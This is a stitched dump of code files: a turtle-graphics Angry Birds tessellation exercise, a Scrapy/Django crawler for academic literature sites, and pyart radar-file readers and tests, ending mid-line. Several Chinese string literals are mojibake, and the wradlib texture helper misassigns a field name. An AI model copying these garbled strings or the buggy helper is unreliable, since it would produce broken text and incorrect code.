end_fill() penup() #positining forward(3) right(90) forward(-56) left(90) #left eye fillcolor('white') begin_fill() pendown() left(100) circle(20, extent = 30) left(30) circle(20, extent = 40) left(30) circle(20, extent = 80) left(30) forward(2) end_fill() penup() #positioning right(90) forward(10) left(90) #right eye pendown() fillcolor('white') begin_fill() pendown() left(175) circle(20, extent = 30) left(30) circle(20, extent = 40) left(30) circle(20, extent = 80) left(30) forward(2) end_fill() penup() ## positioining setheading(180) forward(9) left(90) forward(15) #### Eye dot right pendown() dot(10) penup() ## positioining setheading(180) forward(35) left(90) forward(-4) #### Eye dot left pendown() dot(10) penup() #position setheading(270) forward(50) setheading(0) forward(57) setheading(90) # belly fillcolor('wheat') begin_fill() pendown() left(50) circle(50, extent = 94) setheading(0) right(38) circle(50, extent = 94) end_fill() penup() #### position left(90) forward(70) right(90) right(30) forward(18) left(30) ###beak width(3) fillcolor('Orange') begin_fill() pendown() left(170) circle(50, extent = 30) left(120) forward(30) left(120) forward(25) end_fill() penup() ##position setheading(270) forward(22) ## bottom part of beak width(2) fillcolor('Dark Orange') begin_fill() pendown() left(45) forward(10) left(100) forward(12) left(135) forward(12) end_fill() penup() ### Crack fillcolor('lightblue') forward(110) left(90) forward(50) setheading(45) pendown() begin_fill() width(5) pencolor('black') forward(40) left(45) forward(20) right(30) forward(40) left(40) forward(30) right(60) forward(40) right(30) forward(40) right(20) forward(20) left(60) forward(75) left(180) forward(75) left(30) forward(20) left(45) forward(20) right(42) forward(30) right(25) forward(50) right(30) forward(50) right(45) forward(45) end_fill() penup() def broken_one_by_one(): ### Broken Chuck ### Tile outline setheading(0) pendown() setheading(0) width(3) pencolor('black') fillcolor('beige') begin_fill() forward(100) left(90) forward(100) left(90) forward(100) left(90) forward(100) end_fill() penup() ### Positioning setheading(0) forward(20) left(90) forward(10) ### Body width(3) fillcolor('yellow') begin_fill() pendown() right(100) circle(200, extent = 20) left(90) circle(200, extent = 20) left(100) circle(200, extent = 24) left(120) forward(5) end_fill() ### Positioning penup() setheading(0) forward(50) left(90) forward(60) ### Spikey Hair fillcolor('black') begin_fill() pendown() right(50) circle(20, extent = 70) right(220) forward(10) right(110) circle(30, extent = 40) left(120) forward(15) right(150) circle(30, extent = 40) left(130) forward(20) end_fill() ### Positioning penup() setheading(0) right(90) forward(25) right(90) forward(5) ### Eyes penup() right(90) forward(-8) pendown() pencolor('black') dot(15) pencolor('white') dot(10) pencolor('black') dot(5) penup() right(90) forward(20) pendown() pencolor('black') dot(15) pencolor('white') dot(10) pencolor('black') dot(5) penup() ### Positioning left(180) forward(20) left(90) forward(12) left(100) ### Beak fillcolor('orange') begin_fill() pendown() width(2) forward(15) right(20) forward(15) setheading(180) left(10) forward(10) left(90) forward(10) left(10) forward(10) setheading(180) right(40) forward(32) end_fill() ### Positioning penup() setheading(180) forward(9) setheading(90) forward(25) ### Left eye brow pendown() pencolor('firebrick') fillcolor('firebrick') begin_fill() setheading(0) forward(20) left(90) forward(2) left(90) forward(20) left(90) forward(2) end_fill() ### Positioning penup() setheading(0) forward(20) setheading(90) forward(5) setheading(0) ### Right eye brow pendown() pencolor('firebrick') fillcolor('firebrick') begin_fill() setheading(0) forward(20) left(90) forward(2) left(90) forward(20) left(90) forward(2) end_fill() penup() ### Cracked poriton right(90) forward(60) left(90) forward(50) setheading(0) width(5) pencolor('black') left(45) pendown() fillcolor('light blue') begin_fill() forward(20) left(45) forward(20) right(25) forward(25) left(25) forward(10) right(65) forward(40) setheading(90) forward(10) setheading(270) forward(10) left(55) forward(40) setheading(270) forward(40) setheading(180) forward(60) left(25) forward(20) end_fill() penup() def broken_horizontal(): ### Broken Bad Piggie ### Tile outline setheading(0) fillcolor('sandy brown') begin_fill() width(3) pendown() forward(200) left(90) forward(100) left(90) forward(200) left(90) forward(100) end_fill() penup() ### Positioning setheading(0) forward(100) setheading(90) forward(5) ### Body pencolor('dark green') fillcolor('lawn green') begin_fill() pendown() setheading(0) circle(40) end_fill() ### Ears penup() circle(40, extent = 130) pendown() fillcolor('lawn green') begin_fill() circle(-10) end_fill() penup() circle(40, extent = 90) pendown() fillcolor('lawn green') begin_fill() circle(-10) end_fill() penup() circle(40, extent = 150) setheading(90) forward(40) ### Eyes setheading(180) forward(30) pendown() pencolor('green') dot(20) pencolor('white') dot(15) pencolor('black') dot(5) penup() setheading(0) forward(25) pendown() pencolor('green') dot(30) pencolor('yellow green') dot(25) ### Nose holes penup() setheading(180) forward(5) pendown() pencolor('dark green') dot(10) setheading(0) penup() forward(10) pendown() dot(10) penup() forward(20) pendown() dot(20) pencolor('white') dot(15) pencolor('black') dot(5) ### Positioning pencolor('dark green') penup() setheading(180) forward(25) setheading(270) forward(20) dot(15) penup() forward(-5) pencolor('white') pendown() dot(5) setheading(0) forward(-5) dot(5) forward(10) dot(5) penup() ### TNT BOX setheading(180) forward(100) setheading(270) pencolor('saddle brown') fillcolor('burlywood') begin_fill() pendown() forward(25) left(90) forward(25) left(90) forward(25) left(90) forward(25) penup() left(90) forward(15) left(90) forward(5) end_fill() pencolor('red') write('TNT') ### TNT BOX penup() forward(15) left(90) forward(60) setheading(270) pencolor('saddle brown') fillcolor('burlywood') begin_fill() pendown() forward(25) left(90) forward(25) left(90) forward(25) left(90) forward(25) penup() left(90) forward(15) left(90) forward(5) end_fill() pencolor('red') write('TNT') ### TNT BOX penup() forward(120) right(90) forward(30) pencolor('saddle brown') fillcolor('burlywood') begin_fill() pendown() forward(25) left(90) forward(25) left(90) forward(25) left(90) forward(25) penup() left(90) forward(15) left(90) forward(5) end_fill() pencolor('red') write('TNT') ### Cracked portion setheading(180) forward(156) setheading(0) fillcolor('light blue') begin_fill() pendown() width(5) pencolor('black') forward(20) left(65) forward(40) right(25) forward(40) right(35) forward(40) right(65) forward(30) left(65) forward(30) right(25) forward(20) left(25) forward(24) left(180) forward(24) left(65) forward(40) right(60) forward(20) right(20) forward(60) left(30) forward(30) right(35) forward(30) penup() end_fill() def broken_vertical(): ### Broken The Blues # Tile outline setheading(0) fillcolor('light coral') begin_fill() width(3) pendown() forward(100) left(90) forward(200) left(90) forward(100) left(90) forward(200) end_fill() penup() ### Positioning setheading(0) forward(30) left(90) forward(30) ### Body fillcolor('steel blue') begin_fill() pendown() setheading(0) right(19) circle(50, extent = 110) setheading(90) forward(40) circle(50, extent = 50) right(40) circle(20, extent = 90) left(30) circle(20, extent = 20) left(30) circle(20, extent = 20) left(40) forward(15) right(180) forward(15) circle(50, extent = 20) left(30) circle(20, extent = 30) left(30) circle(20, extent = 30) left(50) forward(10) right(121) circle(80, extent = 94) end_fill() ### Positioning penup() setheading(90) forward(90) setheading(0) forward(10) ### Left eye pendown() dot(30) pencolor('white') dot(25) penup() forward(7) pendown() pencolor('black') dot(10) ### Positioning penup() forward(30) ### Right eye pendown() dot(30) pencolor('white') dot(25) penup() forward(7) pendown() pencolor('black') dot(10) ### Positioning penup() setheading(270) forward(15) setheading(180) forward(45) ### Orange bit under beak fillcolor('firebrick') begin_fill() pendown() left(130) circle(50, extent = 60) left(90) forward(18) left(80) forward(40) end_fill() ### Positioning penup() left(55) forward(20) left(170) ### Beak fillcolor('orange') begin_fill() pendown() forward(30) right(75) forward(45) setheading(180) forward(60) end_fill() fillcolor('orange') begin_fill() setheading(270) left(30) forward(20) left(80) forward(42) end_fill() penup() # Cracked portion forward(20) setheading(180) width(5) pendown() fillcolor('light blue') begin_fill() left(65) forward(80) right(25) forward(20) right(55) forward(30) right(90) forward(50) left(30) forward(20) right(30) forward(50) left(30) forward(40) right(90) forward(30) right(90) forward(50) left(90) forward(28) penup() end_fill() # Fill the grid with tiles as per the provided dataset def tessellate(random_pattern): ####################################################################### ### This first section creates the while loop to acess the entire list generated by random_pattern n = len(random_pattern) while n >= 0: position = 0 while position >= 0: length = len(random_pattern[position]) position = position + 1 ####################################################################### ### This section is for the random patterns featuring lists of legnth 3 if length == 3: if (((random_pattern[position - 1])[0])[1]) == (((random_pattern[position - 1])[1])[1]): if str(((random_pattern[position - 1])[2])) == 'O': # Case where pattern ends with O. ### Co-ordinates x_pos (horizontal position) and y_pos (vertical position) determination. ### for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') horizontal() # What it draws elif str(((random_pattern[position - 1])[2])) == 'X': # Case where pattern ends with X. ### Co-ordinates x_pos (horizontal position) and y_pos (vertical position) determination. ### for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') broken_horizontal() # What it draws else: # Since lists in random pattern with a length of 3 feature two cases, a horizontal and vertical pattern else statement is needed for second case (vertical). if str(((random_pattern[position - 1])[2])) == 'O': # Case where pattern ends with O. ### Co-ordinates x_pos (horizontal position) and y_pos (vertical position) determination. ### for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') vertical() # What it draws elif str(((random_pattern[position - 1])[2])) == 'X': # Case where pattern ends with X. ### Co-ordinates x_pos (horizontal position) and y_pos (vertical position) determination. ### for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') broken_vertical() # What it draws ####################################################################### ### This section is for the random patterns featuring lists of legnth 5 elif length == 5: if str(((random_pattern[position - 1])[4])) == 'O': # Case where pattern ends with O. ### Co-ordinates x_pos (horizontal position) and y_pos (vertical position) determination. ### for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') two_by_two() # What it draws elif str(((random_pattern[position - 1])[4])) == 'X': # Case where pattern ends with X. ### Co-ordinates x_pos (horizontal position) and y_pos (vertical position) determination. ### for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') broken_tile_two_by_two() # What it draws ###################################################################### ### This section is for the random patterns featuring lists of legnth 2 elif length == 2: if str(((random_pattern[position - 1])[1])) == 'O': # Case where pattern ends with O. ### Co-ordinates x_pos and y_pos determination. for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) # Finds x position using ord of the first letter of the list. for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') one_by_one() # What it draws elif str(((random_pattern[position - 1])[1])) == 'X': # Case where pattern ends with X. ### Co-ordinates x_pos and y_pos determination. for x_pos in random_pattern: x_pos = ((ord(((random_pattern[position - 1])[0])[0])) - 60) # Finds x position using ord of the first letter of the list. for y_pos in random_pattern: y_pos = int((((random_pattern[position - 1])[0])[1])) ### Using x_pos and y_pos a linear regression is formed for each caclulating the positions on the grid. ### goto(((100*x_pos) - 1000), ((int(y_pos) *100) - 450)) pencolor('black') broken_one_by_one() # What it draws n = n - 1 # ord() converts the letters # chr() converts the numbers # #--------------------------------------------------------------------# #-----Main Program---------------------------------------------------# # # This main program sets up the background, ready for you to start # drawing your solution. Do not change any of this code except # as indicated by the comments marked '*****'. # # Set up the drawing canvas # ***** You can change the background and line colours, and choose # ***** whether or not to draw the grid and mark the places for the # ***** legend, by providing arguments to this function call create_drawing_canvas() tracer(False) penup() goto(-750,100) two_by_two() penup() goto(-750,70) pendown() pencolor('black') write('Red', font =("Arial", 18, "normal")) penup() goto(-700,-100) one_by_one() goto(-700,-130) pendown() pencolor('black') write('Chuck', font =("Arial", 18, "normal")) penup() goto(600, 100) pencolor('black') vertical() penup() goto(600,70) pendown() pencolor('black') write('The Blues', font =("Arial", 18, "normal")) penup() goto(550, -100) horizontal() penup() goto(550,-130) pendown() pencolor('black') write('Bad Piggies', font =("Arial", 18, "normal")) penup() # Control the drawing speed # ***** Change the following argument if you want to adjust # ***** the drawing speed speed('fastest') # Decide whether or not to show the drawing being done step-by-step # ***** Set the following argument to False if you don't want to wait # ***** forever while the cursor moves slowly around the screen tracer(False) # Give the drawing canvas a title # ***** Replace this title with a description of your solution's theme # ***** and its tiles title("Angry Birds & Piggies") ### Call the student's function to follow the path ### ***** While developing your program you can call the tessellate ### ***** function with one of the "fixed" data sets, but your ### ***** final solution must work with "random_pattern()" as the ### ***** argument. Your tessellate function must work for any data ### ***** set that can be returned by the random_pattern function. #tessellate(fixed_pattern_0) # <-- used for code development only, not marking tessellate(random_pattern()) # <-- used for assessment # Exit gracefully # ***** Change the default argument to False if you want the # ***** cursor (turtle) to remain visible at the end of the # ***** program as a debugging aid release_drawing_canvas() # #--------------------------------------------------------------------# ```
{ "source": "josephHai/LiteratureRetrieval", "score": 3 }
#### File: crawler/crawler/urls.py ```python from urllib.parse import urlencode from scrapy.utils.project import get_project_settings max_page = get_project_settings()['MAX_PAGE'] + 1 def wf(keywords): for page in range(1, max_page): params = { 'beetlansyId': 'aysnsearch', 'searchType': 'all', 'pageSize': 50, 'page': page, 'searchWord': keywords, 'order': 'correlation', 'showType': 'detail', 'isCheck': 'check', 'firstAuthor': 'false', 'corePerio': 'false', 'alreadyBuyResource': 'false', 'navSearchType': 'all' } yield 'http://www.wanfangdata.com.cn/search/searchList.do?' + urlencode(params) def ixs(keywords): for page in range(1, max_page): params = { 'search_type': '', 'q': keywords, 'page': page } yield 'https://www.ixueshu.com/search/index.html?' + urlencode(params) def wp(keywords): param = {} for page in range(1, max_page): param['ObjectType'] = 1 param['ClusterUse'] = 'Article' param['UrlParam'] = 'u={}'.format(keywords) param['Sort'] = 0 param['UserID'] = 189654 param['PageNum'] = page param['PageSize'] = 100 param['ShowRules'] = 'ไปปๆ„ๅญ—ๆฎต={}'.format(keywords) yield {'searchParamModel': str(param)} ``` #### File: crawler/crawler/utils.py ```python from os.path import realpath, dirname import json def get_config(name): path = dirname(realpath(__file__)) + '/configs/' + name + '.json' with open(path, 'r', encoding='utf-8') as f: return json.loads(f.read()) def update_config(name, data): path = dirname(realpath(__file__)) + '/configs/' + name + '.json' with open(path, 'w', encoding='utf-8') as f: json.dump(data, f, ensure_ascii=False, indent=1) ``` #### File: backend/crawler/run.py ```python import time import logging from scrapy.utils.project import get_project_settings from scrapy.crawler import CrawlerProcess from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from celery import shared_task from django.core.cache import cache from pyhanlp import * from jpype import * from nltk.corpus import stopwords from backend.crawler.crawler.utils import get_config, update_config from ..models import Content logger = logging.getLogger(__name__) @shared_task() def run(kw, source): os.chdir('/home/respeaker/LiteratureRetrieval/backend/crawler') names = source project_settings = get_project_settings() process = CrawlerProcess(project_settings) for name in names: custom_settings = get_config(name) custom_settings['start_urls']['args'] = [kw] update_config(name, custom_settings) spider = custom_settings.get('spider', 'literature') process.crawl(spider, **{'name': name}) process.start(stop_after_crawl=False) class Worker: def __init__(self, kw, source): self.source = source self.kw = self.handle_kw(kw) def get_data(self, page_num, page_size): if self.kw == '': return [], 0 logger.info('ๅฝ“ๅ‰ๅ…ณ้”ฎ่ฏไธบ: {}'.format(self.kw)) logger.info('ๅˆคๆ–ญๆ˜ฏๅฆไธบ็ฌฌไธ€ๆฌก่ฏทๆฑ‚') if self.is_first_request(): Content.objects.all().delete() logger.info('ๅฏๅŠจ็ˆฌ่™ซ') current = time.time() # ๅฏๅŠจ็ˆฌ่™ซ run.delay(self.kw, self.source) logger.info('ๅฏๅŠจๅฎŒๆˆ,็”จๆ—ถ{}'.format(time.time() - current)) i = 0 while not self.data_count(): if i >= 10: break i = i + 1 time.sleep(1) # ไปŽๆ•ฐๆฎๅบ“่Žทๅ–ๆ•ฐๆฎ data = Content.objects.values('title', 'authors', 'brief', 'source', 'website') paginator = Paginator(data, page_size) try: literature = paginator.page(page_num) except PageNotAnInteger: literature = paginator.page(1) except EmptyPage: literature = paginator.page(paginator.num_pages) literature = list(literature) for index, item in enumerate(literature): sources = item['source'].split('||') websites = item['website'].split('||') links = list(set(sources)) links.sort(key=sources.index) names = list(set(websites)) names.sort(key=websites.index) literature[index]['sources'] = [{'link': link, 'name': name} for (link, name) in zip(sources, websites)] return literature, self.data_count() def is_first_request(self): if cache.has_key('kw') and cache.get('kw') == self.kw: return False else: cache.set('kw', self.kw) return True @staticmethod def handle_kw(kw, top=10): s1 = [] allow_pos = ['g', 'gb', 'gbc', 'gc', 'gg', 'gi', 'gm', 'gp', 'n', 'nb', 'nba', 'nbc', 'nbp', 'nf', 'ng', 'nh', 'nhd', 'nhm', 'ni', 'nic', 'nis', 'nit', 'nl', 'nm', 'nmc', 'nn', 'nnd', 'nnt', 'nr', 'nr1', 'nr2', 'nrf', 'nrj', 'ns', 'nsf', 'nt', 'ntc', 'ntcb', 'ntcf', 'ntch', 'nth', 'nto', 'nts', 'ntu', 'nx', 'nz'] stop_words = stopwords.words('chinese') IndexTokenizer = JClass('com.hankcs.hanlp.tokenizer.IndexTokenizer') for term in IndexTokenizer.segment(kw): word, pos = term.word, term.nature if word not in stop_words and pos.__str__() in allow_pos: s1.append(word) return ' '.join(s1) @staticmethod def data_count(): return Content.objects.all().count() if __name__ == '__main__': now = time.time() run('่ฎก็ฎ—ๆœบ', ['wp']) print(time.time() - now) ``` #### File: LiteratureRetrieval/backend/views.py ```python import json from django.http import HttpResponse from django.db.models import F from .crawler.run import Worker from .models import * def search(request): keywords = request.GET.get('kw', '') page = request.GET.get('page', 1) limit = request.GET.get('limit', 10) source = request.GET.get('sources', '["wp", "wf", "ixs"]') source = json.loads(source) worker = Worker(keywords, source) literature, total = worker.get_data(int(page), limit) response = json.dumps({'code': 200, 'data': {'total': total, 'items': literature}}, ensure_ascii=False) return HttpResponse(response) def get_source_list(request): sources = Source.objects.annotate(en=F('short_name'), value=F('name')).values('en', 'name', 'url') response = json.dumps({'code': 200, 'data': list(sources)}, ensure_ascii=False) return HttpResponse(response) ```
{ "source": "josephhardinee/pyart", "score": 3 }
#### File: pyart/aux_io/edge_netcdf.py ```python import datetime import numpy as np import netCDF4 from ..config import FileMetadata, get_fillvalue from ..io.common import make_time_unit_str, _test_arguments from ..core.radar import Radar def read_edge_netcdf(filename, **kwargs): """ Read a EDGE NetCDF file. Parameters ---------- filename : str Name of EDGE NetCDF file to read data from. Returns ------- radar : Radar Radar object. """ # test for non empty kwargs _test_arguments(kwargs) # create metadata retrieval object filemetadata = FileMetadata('edge_netcdf') # Open netCDF4 file dset = netCDF4.Dataset(filename) nrays = len(dset.dimensions['Azimuth']) nbins = len(dset.dimensions['Gate']) # latitude, longitude and altitude latitude = filemetadata('latitude') longitude = filemetadata('longitude') altitude = filemetadata('altitude') latitude['data'] = np.array([dset.Latitude], 'float64') longitude['data'] = np.array([dset.Longitude], 'float64') altitude['data'] = np.array([dset.Height], 'float64') # metadata metadata = filemetadata('metadata') metadata_mapping = { 'vcp-value': 'vcp', 'radarName-value': 'radar_name', 'ConversionPlugin': 'conversion_software', } for netcdf_attr, metadata_key in metadata_mapping.items(): if netcdf_attr in dset.ncattrs(): metadata[metadata_key] = dset.getncattr(netcdf_attr) # sweep_start_ray_index, sweep_end_ray_index sweep_start_ray_index = filemetadata('sweep_start_ray_index') sweep_end_ray_index = filemetadata('sweep_end_ray_index') sweep_start_ray_index['data'] = np.array([0], dtype='int32') sweep_end_ray_index['data'] = np.array([nrays-1], dtype='int32') # sweep number sweep_number = filemetadata('sweep_number') sweep_number['data'] = np.array([0], dtype='int32') # sweep_type scan_type = 'ppi' # sweep_mode, fixed_angle sweep_mode = filemetadata('sweep_mode') fixed_angle = filemetadata('fixed_angle') sweep_mode['data'] = np.array(1 * ['azimuth_surveillance']) fixed_angle['data'] = np.array([dset.Elevation], dtype='float32') # time time = filemetadata('time') start_time = datetime.datetime.utcfromtimestamp(dset.Time) time['units'] = make_time_unit_str(start_time) time['data'] = np.zeros((nrays, ), dtype='float64') # range _range = filemetadata('range') step = float(dset.getncattr('MaximumRange-value')) / nbins * 1000. _range['data'] = (np.arange(nbins, dtype='float32') * step + step / 2) _range['meters_to_center_of_first_gate'] = step / 2. _range['meters_between_gates'] = step # elevation elevation = filemetadata('elevation') elevation_angle = dset.Elevation elevation['data'] = np.ones((nrays, ), dtype='float32') * elevation_angle # azimuth azimuth = filemetadata('azimuth') azimuth['data'] = dset.variables['Azimuth'][:] # fields field_name = dset.TypeName field_data = np.ma.array(dset.variables[field_name][:]) if 'MissingData' in dset.ncattrs(): field_data[field_data == dset.MissingData] = np.ma.masked if 'RangeFolded' in dset.ncattrs(): field_data[field_data == dset.RangeFolded] = np.ma.masked fields = {field_name: filemetadata(field_name)} fields[field_name]['data'] = field_data fields[field_name]['units'] = dset.variables[field_name].Units fields[field_name]['_FillValue'] = get_fillvalue() # instrument_parameters instrument_parameters = {} if 'PRF-value' in dset.ncattrs(): dic = filemetadata('prt') prt = 1. / float(dset.getncattr('PRF-value')) dic['data'] = np.ones((nrays, ), dtype='float32') * prt instrument_parameters['prt'] = dic if 'PulseWidth-value' in dset.ncattrs(): dic = filemetadata('pulse_width') pulse_width = dset.getncattr('PulseWidth-value') * 1.e-6 dic['data'] = np.ones((nrays, ), dtype='float32') * pulse_width instrument_parameters['pulse_width'] = dic if 'NyquistVelocity-value' in dset.ncattrs(): dic = filemetadata('nyquist_velocity') nyquist_velocity = float(dset.getncattr('NyquistVelocity-value')) dic['data'] = np.ones((nrays, ), dtype='float32') * nyquist_velocity instrument_parameters['nyquist_velocity'] = dic if 'Beamwidth' in dset.variables: dic = filemetadata('radar_beam_width_h') dic['data'] = dset.variables['Beamwidth'][:] instrument_parameters['radar_beam_width_h'] = dic dset.close() return Radar( time, _range, fields, metadata, scan_type, latitude, longitude, altitude, sweep_number, sweep_mode, fixed_angle, sweep_start_ray_index, sweep_end_ray_index, azimuth, elevation, instrument_parameters=instrument_parameters) ``` #### File: pyart/aux_io/gamicfile.py ```python import numpy as np import h5py class GAMICFile(object): """ A class to read GAMIC files. Parameters ---------- filename : str Filename of GAMIC HDF5 file. Attributes ---------- nsweeps : int Number of sweeps (or scans) in the file. rays_per_sweep : array of int32 Number of rays in each sweep. total_rays : int Total number of rays in all sweeps. start_ray, end_ray : array of int32 Index of the first (start) and last (end) ray in each sweep, 0-based. _hfile : HDF5 file Open HDF5 file object from which data is read. _scans : list Name of the HDF5 group for each scan. """ def __init__(self, filename): """ initialize object. """ self._hfile = h5py.File(filename, 'r') self.nsweeps = self._hfile['what'].attrs['sets'] self._scans = ['scan%i' % (i) for i in range(self.nsweeps)] self.rays_per_sweep = self.how_attrs('ray_count', 'int32') self.total_rays = sum(self.rays_per_sweep) # starting and ending ray for each sweep self.start_ray = np.cumsum(np.append([0], self.rays_per_sweep[:-1])) self.end_ray = np.cumsum(self.rays_per_sweep) - 1 return def close(self): """ Close the file. """ self._hfile.close() # file checks def is_file_complete(self): """ True if all scans in file, False otherwise. """ # check than scan0, scan1, ... scan[nsweeps-1] are present for scan in self._scans: if scan not in self._hfile: return False return True def is_file_single_scan_type(self): """ True is all scans are the same scan type, False otherwise. """ scan_type = self._hfile['scan0/what'].attrs['scan_type'] for scan in self._scans: if self._hfile[scan]['what'].attrs['scan_type'] != scan_type: return False return True # attribute look up def where_attr(self, attr, dtype): """ Return an array containing a attribute from the where group. """ return np.array([self._hfile['where'].attrs[attr]], dtype=dtype) def how_attr(self, attr, dtype): """ Return an array containing a attribute from the how group. """ return np.array([self._hfile['how'].attrs[attr]], dtype=dtype) def is_attr_in_group(self, group, attr): """ True is attribute is present in the group, False otherwise. """ return attr in self._hfile[group].attrs def raw_group_attr(self, group, attr): """ Return an attribute from a group with no reformatting. """ return self._hfile[group].attrs[attr] def raw_scan0_group_attr(self, group, attr): """ Return an attribute from the scan0 group with no reformatting. """ return self._hfile['/scan0'][group].attrs[attr] # scan/sweep based attribute lookup def how_attrs(self, attr, dtype): """ Return an array of an attribute for each scan's how group. """ return np.array([self._hfile[s]['how'].attrs[attr] for s in self._scans], dtype=dtype) def how_ext_attrs(self, attr): """ Return a list of an attribute in each scan's how/extended group. """ return [float(self._hfile[s]['how']['extended'].attrs[attr]) for s in self._scans] def what_attrs(self, attr, dtype): """ Return a list of an attribute for each scan's what group. """ return np.array([self._hfile[s]['what'].attrs[attr] for s in self._scans], dtype=dtype) # misc looping def moment_groups(self): """ Return a list of groups under scan0 where moments are stored. """ return [k for k in self._hfile['/scan0'] if k.startswith('moment_')] def moment_names(self, scan0_groups): """ Return a list of moment names for a list of scan0 groups. """ return[self._hfile['/scan0'][k].attrs['moment'] for k in scan0_groups] def ray_header(self, field, dtype): """ Return an array containing a ray_header field for each sweep. """ data = np.empty((self.total_rays, ), dtype=dtype) for scan, start, end in zip(self._scans, self.start_ray, self.end_ray): data[start:end+1] = self._hfile[scan]['ray_header'][field] return data def moment_data(self, group, dtype): """ Read in moment data from all sweeps. """ ngates = int(self._hfile['/scan0/how'].attrs['bin_count']) data = np.ma.zeros((self.total_rays, ngates), dtype=dtype) data[:] = np.ma.masked # volume data initially all masked for scan, start, end in zip(self._scans, self.start_ray, self.end_ray): # read in sweep data if field exists in scan. if group in self._hfile[scan]: sweep_data = _get_gamic_sweep_data(self._hfile[scan][group]) data[start:end+1, :sweep_data.shape[1]] = sweep_data[:] return data def sweep_expand(self, arr, dtype='float32'): """ Expand an sweep indexed array to be ray indexed """ return np.repeat(arr, self.rays_per_sweep).astype(dtype) def _get_gamic_sweep_data(group): """ Get GAMIC HDF5 sweep data from an HDF5 group. """ dyn_range_min = group.attrs['dyn_range_min'] dyn_range_max = group.attrs['dyn_range_max'] raw_data = group[:] fmt = group.attrs['format'] if fmt == 'UV16': # unsigned 16-bit integer data, 0 indicates a masked value assert raw_data.dtype == np.uint16 scale = (dyn_range_max - dyn_range_min) / 65535. offset = dyn_range_min sweep_data = np.ma.masked_array( raw_data * scale + offset, mask=(raw_data == 0), dtype='float32') elif fmt == 'UV8': # unsigned 8-bit integer data, 0 indicates a masked value assert raw_data.dtype == np.uint8 scale = (dyn_range_max - dyn_range_min) / 255. offset = dyn_range_min sweep_data = np.ma.masked_array( raw_data * scale + offset, mask=(raw_data == 0), dtype='float32') else: raise NotImplementedError('GAMIC data format: %s', fmt) return sweep_data ``` #### File: pyart/bridge/wradlib_bridge.py ```python import wradlib import numpy as np from ..config import get_metadata, get_field_name def texture_of_complex_phase(radar, phidp_field=None, phidp_texture_field=None): """ Calculate the texture of the differential phase field. Calculate the texture of the real part of the complex differential phase field Parameters ---------- radar : Radar Radar object from which to . phidp_field : str, optional Name of field in radar which contains the differential phase shift. None will use the default field name in the Py-ART configuration file. phidp_texture_field : str, optional Name to use for the differential phase texture field metadata. None will use the default field name in the Py-ART configuration file. Returns ------- texture_field : dict Field dictionary containing the texture of the real part of the complex differential phase. References ---------- <NAME>., <NAME>, and <NAME>, A fuzzy logic algorithm for the separation of precipitating from nonprecipitating echoes using polarimetric radar observations, Journal of Atmospheric and Oceanic Technology 24 (8), 1439-1451 """ # parse field names if phidp_field is None: phidp_field = get_field_name('differential_phase') if phidp_texture_field is None: phidp_field = get_field_name('differential_phase') # Grab the phase data phidp = radar.fields[phidp_field]['data'] # convert to complex number complex_phase = np.exp(1j*(phidp*np.pi/180.0)) # calculate texture using wradlib w_texture_complex = wradlib.dp.texture( (np.real(complex_phase) + 1.0) * 180) texture_field = get_metadata(phidp_texture_field) texture_field['data'] = w_texture_complex return texture_field ``` #### File: core/tests/test_grid.py ```python from __future__ import print_function import numpy as np import pyart COMMON_MAP_TO_GRID_ARGS = { 'grid_shape': (3, 9, 10), 'grid_limits': ((-400.0, 400.0), (-900.0, 900.0), (-900, 900)), 'fields': ['reflectivity'], 'roi_func': lambda z, y, x: 30, } def test_grid_from_radars(): radar = pyart.testing.make_target_radar() grid = pyart.map.grid_from_radars((radar,), **COMMON_MAP_TO_GRID_ARGS) with pyart.testing.InTemporaryDirectory(): tmpfile = 'tmp_grid.nc' grid.write(tmpfile) grid2 = pyart.io.read_grid(tmpfile) # check metadata for k, v in grid.metadata.items(): print("Checking key:", k, "should have value:", v) print(grid2.metadata) assert grid2.metadata[k] == v # check axes for axes_key in grid.axes.keys(): for k, v in grid.axes[axes_key].items(): print("Checking axes_key:", axes_key, "key:", k) if k == 'data': assert np.all(grid.axes[axes_key][k] == v) else: assert grid2.axes[axes_key][k] == v # check fields for field in grid.fields.keys(): for k, v in grid.fields[field].items(): print("Checking field:", field, "key:", k) if k == 'data': assert np.all(grid.fields[field][k] == v) else: assert grid2.fields[field][k] == v ``` #### File: core/tests/test_radar.py ```python import sys # we need a class which excepts str for writing in Python 2 and 3 try: from 